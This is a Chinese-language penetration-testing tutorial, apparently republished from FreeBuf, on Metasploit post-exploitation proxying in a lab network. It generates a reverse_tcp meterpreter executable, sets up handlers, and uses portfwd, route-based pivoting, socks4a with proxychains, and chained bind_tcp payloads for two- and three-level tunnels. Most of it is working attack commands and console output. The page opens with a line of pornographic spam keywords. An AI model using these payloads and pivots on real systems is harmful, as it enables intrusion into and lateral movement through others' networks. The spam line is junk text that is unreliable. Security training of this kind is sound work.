偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

Metasploit滲透技巧:后滲透Meterpreter代理

安全 黑客攻防
Metasploit是一個(gè)免費(fèi)的、可下載的滲透測(cè)試框架,通過(guò)它可以很容易地獲取、開(kāi)發(fā)并對(duì)計(jì)算機(jī)軟件漏洞實(shí)施攻擊測(cè)試。它本身附帶數(shù)百個(gè)已知軟件漏洞的專(zhuān)業(yè)級(jí)漏洞攻擊測(cè)試工具。

Metasploit是一個(gè)免費(fèi)的、可下載的滲透測(cè)試框架,通過(guò)它可以很容易地獲取、開(kāi)發(fā)并對(duì)計(jì)算機(jī)軟件漏洞實(shí)施攻擊測(cè)試。它本身附帶數(shù)百個(gè)已知軟件漏洞的專(zhuān)業(yè)級(jí)漏洞攻擊測(cè)試工具。

當(dāng)H.D. Moore在2003年發(fā)布Metasploit時(shí),計(jì)算機(jī)安全狀況也被永久性地改變了。仿佛一夜之間,任何人都可以成為黑客,每個(gè)人都可以使用攻擊工具來(lái)測(cè)試那些未打過(guò)補(bǔ)丁或者剛剛打過(guò)補(bǔ)丁的漏洞。

正是因?yàn)镸etasploit團(tuán)隊(duì)一直都在努力開(kāi)發(fā)各種攻擊測(cè)試工具,并將它們貢獻(xiàn)給所有Metasploit用戶,軟件廠商再也不能推遲發(fā)布針對(duì)已公布漏洞的補(bǔ)丁了。

本文將科普下metasploit隧道代理的使用技巧。

0×00 獲取meterpreter

1.首先生成可執(zhí)行文件

  1. root@kali:~# msfpayload windows/meterpreter/reverse_tcp  LHOST=192.168.101.105 LPORT=444 X > meter.exe  
  2. [!] ************************************************************************  
  3. [!] *               The utility msfpayload is deprecated!                  *  
  4. [!] *              It will be removed on or about 2015-06-08               *  
  5. [!] *                   Please use msfvenom instead                        *  
  6. [!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *  
  7. [!] ************************************************************************  
  8. Created by msfpayload (http://www.metasploit.com).  
  9. Payload: windows/meterpreter/reverse_tcp  
  10.  Length: 281  
  11. Options: {"LHOST"=>"192.168.101.105", "LPORT"=>"444"} 

2.啟動(dòng)msfconsole,監(jiān)聽(tīng)反連端口

  1. root@kali:~# msfconsole  
  2. [*] Starting the Metasploit Framework console.../   
  3. Taking notes in notepad? Have Metasploit Pro track & report  
  4. your progress and findings -- learn more on http://rapid7.com/metasploit 
  5.        =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]  
  6. + -- --=[ 1386 exploits - 863 auxiliary - 236 post        ]  
  7. + -- --=[ 342 payloads - 37 encoders - 8 nops             ]  
  8. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]  
  9. msf > use exploit/multi/handler   
  10. msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp  
  11. PAYLOAD => windows/meterpreter/reverse_tcp  
  12. msf exploit(handler) > set LHOST 0.0.0.0  
  13. LHOST => 0.0.0.0  
  14. msf exploit(handler) > set LPORT 444  
  15. LPORT => 444  
  16. msf exploit(handler) > show options   
  17. Module options (exploit/multi/handler):  
  18. Name  Current Setting  Required  Description  
  19.  ----  ---------------  --------  -----------  
  20. Payload options (windows/meterpreter/reverse_tcp):  
  21.    Name      Current Setting  Required  Description  
  22.    ----      ---------------  --------  -----------  
  23.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  24.    LHOST     0.0.0.0          yes       The listen address  
  25.    LPORT     444              yes       The listen port  
  26. Exploit target:  
  27.    Id  Name  
  28.    --  ----  
  29.    0   Wildcard Target  
  30. msf exploit(handler) > run   
  31. [*] Started reverse handler on 0.0.0.0:444   
  32. [*] Starting the payload handler... 

3.在xp-test1執(zhí)行meter.exe,attacker獲得meterperter

  1. msf exploit(handler) > run   
  2. [*] Started reverse handler on 0.0.0.0:444   
  3. [*] Starting the payload handler...  
  4. [*] Sending stage (770048 bytes) to 192.168.101.107  
  5. [*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800  
  6. meterpreter > ipconfig  
  7. Interface  1 
  8. ============  
  9. Name         : MS TCP Loopback interface  
  10. Hardware MAC : 00:00:00:00:00:00  
  11. MTU          : 1520  
  12. IPv4 Address : 127.0.0.1  
  13. Interface  2 
  14. ============  
  15. Name         : AMD PCNET Family PCI Ethernet Adapter - pencS  
  16. Hardware MAC : 00:0c:29:ed:cf:d0  
  17. MTU          : 1500  
  18. IPv4 Address : 10.1.1.128  
  19. IPv4 Netmask : 255.255.255.0 

#p#

0×01 meterpreter基本隧道代理

好,現(xiàn)在已經(jīng)有一個(gè)反彈回來(lái)的權(quán)限,下面介紹meterpreter隧道代理的幾種方法

1.portfwd

portfwd 是meterpreter提供的一種基本的端口轉(zhuǎn)發(fā)。porfwd可以反彈單個(gè)端口到本地,并且監(jiān)聽(tīng).使用方法如下:

  1. meterpreter > portfwd   
  2. 0 total local port forwards.  
  3. meterpreter > portfwd  -h  
  4. Usage: portfwd [-h] [add | delete | list | flush] [args]  
  5. OPTIONS:  
  6.     -L <opt>  The local host to listen on (optional).  
  7.     -h        Help banner.  
  8.     -l <opt>  The local port to listen on.  
  9.     -p <opt>  The remote port to connect to.  
  10.     -r <opt>  The remote host to connect to. 

使用實(shí)例介紹:

反彈10.1.1.129端口3389到本地2222并監(jiān)聽(tīng)那么可以使用如下方法:

  1. meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389  
  2. [*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389  
  3. meterpreter > portfwd   
  4. 0: 0.0.0.0:2222 -> 10.1.1.129:3389  
  5. 1 total local port forwards. 

已經(jīng)轉(zhuǎn)發(fā)成功,下面來(lái)驗(yàn)證下:

  1. root@kali:~# netstat -an | grep "2222"  
  2. tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN 

可以看到已經(jīng)成功監(jiān)聽(tīng)2222端口

接著連接本地2222端口即可連接受害機(jī)器10.1.1.129 3389端口,如下:

  1. root@kali:~# rdesktop 127.1.1.0:2222 

 

Metasploit滲透技巧:后滲透Meterpreter代理

 

可以看到,已經(jīng)成功連接到10.1.1.129 的3389端口#p#

2. pivot

pivot是meterpreter最常用的一種代理,可以輕松把你的機(jī)器代理到受害者內(nèi)網(wǎng)環(huán)境,下面介紹下pivot的搭建和使用方法

使用方法route add 目標(biāo)i或ip段 Netmask 要使用代理的會(huì)話,通過(guò)實(shí)例來(lái)說(shuō)明:

在metasploit添加一個(gè)路由表,目的是訪問(wèn)10.1.1.129將通過(guò)meterpreter的會(huì)話 1 來(lái)訪問(wèn):

  1. msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1  
  2. [*] Route added  
  3. msf exploit(handler) > route print   
  4. Active Routing Table 
  5. ====================  
  6.    Subnet             Netmask            Gateway  
  7.    ------             -------            -------  
  8.    10.1.1.129         255.255.255.255    Session 1 

這里如果要代理10.1.1.129/24 到session 1,則可以這么寫(xiě)

  1. route add 10.1.1.0 255.255.255.0 1 

到這里pivot已經(jīng)配置好了,你在msf里對(duì)10.1.1.129進(jìn)行掃描(db_nmap)或者訪問(wèn)(psexe 模塊,ssh模塊等)將通過(guò)代理session 1這個(gè)會(huì)話來(lái)訪問(wèn)。

如果想通過(guò)其他應(yīng)用程序來(lái)使用這個(gè)代理怎么辦呢,這時(shí)候可以借助 metasploit socks4a提供一個(gè)監(jiān)聽(tīng)隧道供其他應(yīng)用程序訪問(wèn):

首先使用 socks4a并且配置,監(jiān)聽(tīng)端口

  1. msf exploit(handler) > use auxiliary/server/socks4a   
  2. msf auxiliary(socks4a) > show options   
  3. Module options (auxiliary/server/socks4a):  
  4.    Name     Current Setting  Required  Description  
  5.    ----     ---------------  --------  -----------  
  6.    SRVHOST  0.0.0.0          yes       The address to listen on  
  7.    SRVPORT  1080             yes       The port to listen on.  
  8. Auxiliary action:  
  9.    Name   Description  
  10.    ----   -----------  
  11.    Proxy    
  12. msf auxiliary(socks4a) > exploit -y  
  13. [*] Auxiliary module execution completed  
  14. msf auxiliary(socks4a) >   
  15. [*] Starting the socks4a proxy server 

查看監(jiān)聽(tīng)端口

  1. root@kali:~# netstat -an | grep "1080"  
  2. tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN 

端口已經(jīng)監(jiān)聽(tīng),接著配置 proxychains

  1. root@kali:~# vim /etc/proxychains.conf  
  2. [ProxyList]  
  3. # add proxy here ...  
  4. # meanwileroot@kali:~# netstat -an | grep "1080"  
  5. tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN   
  6. # defaults set to "tor"  
  7. socks4  127.0.0.1 1080 

配置好以后看看使用 proxychains進(jìn)行代理訪問(wèn),這里訪問(wèn)10.1.1.129 3389端口

Metasploit滲透技巧:后滲透Meterpreter代理

可以看到已經(jīng)成功訪問(wèn)#p#

0×02 多級(jí)代理

1. 二級(jí)代理隧道

上面介紹了meterpreter基礎(chǔ)的代理方法,但是有些實(shí)際環(huán)境不能直接使用,考慮如下環(huán)境(內(nèi)網(wǎng)機(jī)器A、B。A機(jī)器可以對(duì)外連接,但是訪問(wèn)控制很?chē)?yán)格,只能訪問(wèn)到很少的內(nèi)網(wǎng)機(jī)器,B機(jī)器不能對(duì)外連接,但是可以訪問(wèn)到很多核心服務(wù)和機(jī)器,A、B之間可以互相訪問(wèn)),如果我們想通過(guò)B機(jī)器對(duì)核心服務(wù)和機(jī)器進(jìn)行掃描和訪問(wèn)要怎么辦呢?

這時(shí)候我們就meterpreter的pivot組合輕松實(shí)現(xiàn)二級(jí)代理就可以

效果示意圖:attacker->xp-test1->xp-test2

首先接著上面,我們已經(jīng)有一個(gè)xp-test1反彈回來(lái)的meterprter了,接著我們生成一個(gè)正向的執(zhí)行文件

  1. root@kali:~# msfpayload windows/meterpreter/bind_tcp  RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe  
  2. [!] ************************************************************************  
  3. [!] *               The utility msfpayload is deprecated!                  *  
  4. [!] *              It will be removed on or about 2015-06-08               *  
  5. [!] *                   Please use msfvenom instead                        *  
  6. [!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *  
  7. [!] ************************************************************************  
  8. Created by msfpayload (http://www.metasploit.com).  
  9. Payload: windows/meterpreter/bind_tcp  
  10.  Length: 285  
  11. Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"} 

生成好以后在xp-test2上面運(yùn)行

接著在msf里面添加路由

  1. msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2  
  2. [*] Route added  
  3. msf exploit(handler) > route  print  
  4. Active Routing Table 
  5. ====================  
  6.    Subnet             Netmask            Gateway  
  7.    ------             -------            -------  
  8.    10.1.1.129         255.255.255.255    Session 2 

連接正向 meterpreter獲取權(quán)限

  1. msf exploit(handler) > use exploit/multi/handler   
  2. msf exploit(handler) > set PAYLOAD windows//bind_tcp  
  3. PAYLOAD => windows/meterpreter/bind_tcp  
  4. msf exploit(handler) > set RHOST 10.1.1.129  
  5. RHOST => 10.1.1.129  
  6. msf exploit(handler) > show options   
  7. Module options (exploit/multi/handler):  
  8.    Name  Current Setting  Required  Description  
  9.    ----  ---------------  --------  -----------  
  10. Payload options (windows/meterpreter/bind_tcp):  
  11.    Name      Current Setting  Required  Description  
  12.    ----      ---------------  --------  -----------  
  13.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  14.    LPORT     444              yes       The listen port  
  15.    RHOST     10.1.1.129       no        The target address  
  16. Exploit target:  
  17.    Id  Name  
  18.    --  ----  
  19.    0   Wildcard Target  
  20. msf exploit(handler) > set LPORT 4444  
  21. LPORT => 4444  
  22. msf exploit(handler) > show options   
  23. Module options (exploit/multi/handler):  
  24.    Name  Current Setting  Required  Description  
  25.    ----  ---------------  --------  -----------  
  26. Payload options (windows/meterpreter/bind_tcp):  
  27.    Name      Current Setting  Required  Description  
  28.    ----      ---------------  --------  -----------  
  29.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  30.    LPORT     4444             yes       The listen port  
  31.    RHOST     10.1.1.129       no        The target address  
  32. Exploit target:  
  33.    Id  Name  
  34.    --  ----  
  35.    0   Wildcard Target  
  36. msf exploit(handler) > run   
  37. [*] Started bind handler  
  38. [*] Starting the payload handler...  
  39. [*] Sending stage (770048 bytes)  
  40. [*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800 

現(xiàn)在已經(jīng)獲取到xp-test2的權(quán)限,注意這里是通過(guò)xp-test1 pivot代理

下面來(lái)驗(yàn)證下,查看xp-test2 4444端口

  1. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  2.   TCP    10.1.1.129:4444        10.1.1.128:1051        ESTABLISHED 

是通過(guò)xp-test1進(jìn)行連接的。

這時(shí)候二級(jí)代理已經(jīng)搭建好了,你可以添加需要訪問(wèn)的ip到路由表,通過(guò)第二層的session(session 3),就可以使用metaploit的其他模塊訪問(wèn)或掃描了。#p#

2.三級(jí)或多級(jí)代理

有時(shí)候過(guò)于龐大或者復(fù)雜的內(nèi)網(wǎng)環(huán)境,甚至需要三層或者多層代理,原理與兩層相似,通過(guò)在第二層代理的基礎(chǔ)上進(jìn)行連接既可

示意圖:attacket->xp-test1->xp-test2->xp-test3->…..

與兩層代理類(lèi)似,如下實(shí)現(xiàn):

  1. msf exploit(handler) > sessions -l  
  2. Active sessions 
  3. ===============  
  4.   Id  Type                   Information                        Connection  
  5.   --  ----                   -----------                        ----------  
  6.   2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)  
  7.   4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)  
  8. msf exploit(handler) > route  add 10.1.1.131 4  
  9. [-] Missing arguments to route add.  
  10. msf exploit(handler) > route  add 10.1.1.131 255.255.255.255 4  
  11. [*] Route added  
  12. msf exploit(handler) > route print   
  13. Active Routing Table 
  14. ====================  
  15.    Subnet             Netmask            Gateway  
  16.    ------             -------            -------  
  17.    10.1.1.129         255.255.255.255    Session 2  
  18.    10.1.1.131         255.255.255.255    Session 4  
  19. msf exploit(handler) > set RHOST=10.1.1.131  
  20. [-] Unknown variable  
  21. Usage: set [option] [value]  
  22. Set the given option to value.  If value is omitted, print the current value.  
  23. If both are omitted, print options that are currently set.  
  24. If run from a module context, this will set the value in the module&#039;s  
  25. datastore.  Use -g to operate on the global datastore  
  26. msf exploit(handler) > set RHOST 10.1.1.131  
  27. RHOST => 10.1.1.131  
  28. msf exploit(handler) > show options   
  29. Module options (exploit/multi/handler):  
  30.    Name  Current Setting  Required  Description  
  31.    ----  ---------------  --------  -----------  
  32. Payload options (windows/meterpreter/bind_tcp):  
  33.    Name      Current Setting  Required  Description  
  34.    ----      ---------------  --------  -----------  
  35.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  36.    LPORT     4444             yes       The listen port  
  37.    RHOST     10.1.1.131       no        The target address  
  38. Exploit target:  
  39.    Id  Name  
  40.    --  ----  
  41.    0   Wildcard Target  
  42. msf exploit(handler) > run   
  43. [*] Started bind handler  
  44. [*] Starting the payload handler...  
  45. [*] Sending stage (770048 bytes)  
  46. [*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800  
  47. meterpreter > background   
  48. [*] Backgrounding session 5...  
  49. msf exploit(handler) > sessions -l  
  50. Active sessions 
  51. ===============  
  52.   Id  Type                   Information                        Connection  
  53.   --  ----                   -----------                        ----------  
  54.   2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)  
  55.   4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)  
  56.   5   meterpreter x86/win32  XP-TEST3\Administrator @ XP-TEST3  192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)  
  57. 在xp-test3查看端口連接  
  58. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  59.   TCP    10.1.1.131:4444        10.1.1.129:1032        ESTABLISHED  
  60. 在xp-test2查看4444端口  
  61. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  62.   TCP    10.1.1.129:1032        10.1.1.131:4444        ESTABLISHED  
  63.   TCP    10.1.1.129:4444        10.1.1.128:1054        ESTABLISHED  
  64. 說(shuō)明已經(jīng)實(shí)現(xiàn)三級(jí)連接,即attacker->xp-test1->xp-test2->xp-test3 

0×03 總結(jié)

最后,代理級(jí)數(shù)越多,帶寬損耗和穩(wěn)定性就會(huì)下降。滲透過(guò)程中根據(jù)實(shí)際情況自由靈活的選擇和使用代理方式才能實(shí)現(xiàn)事半工倍的效果。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2013-11-06 16:38:59

2014-07-01 10:09:01

2014-11-26 09:15:20

2010-12-27 09:19:23

2014-06-09 14:18:24

2018-10-21 08:14:49

2014-06-11 10:29:03

2022-09-16 10:00:31

端口服務(wù)器

2013-04-18 17:07:36

2013-04-12 13:21:44

2014-05-30 09:41:16

2016-03-30 09:58:16

2018-09-17 09:03:47

WindowsToken滲透

2021-07-15 10:46:21

滲透測(cè)試網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2022-03-08 14:23:38

APIWeb前端

2017-07-24 17:00:49

2016-03-22 10:14:25

域滲透滲透測(cè)試域控權(quán)限

2016-09-09 01:14:17

2010-08-03 22:09:16

2013-08-21 16:15:15

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)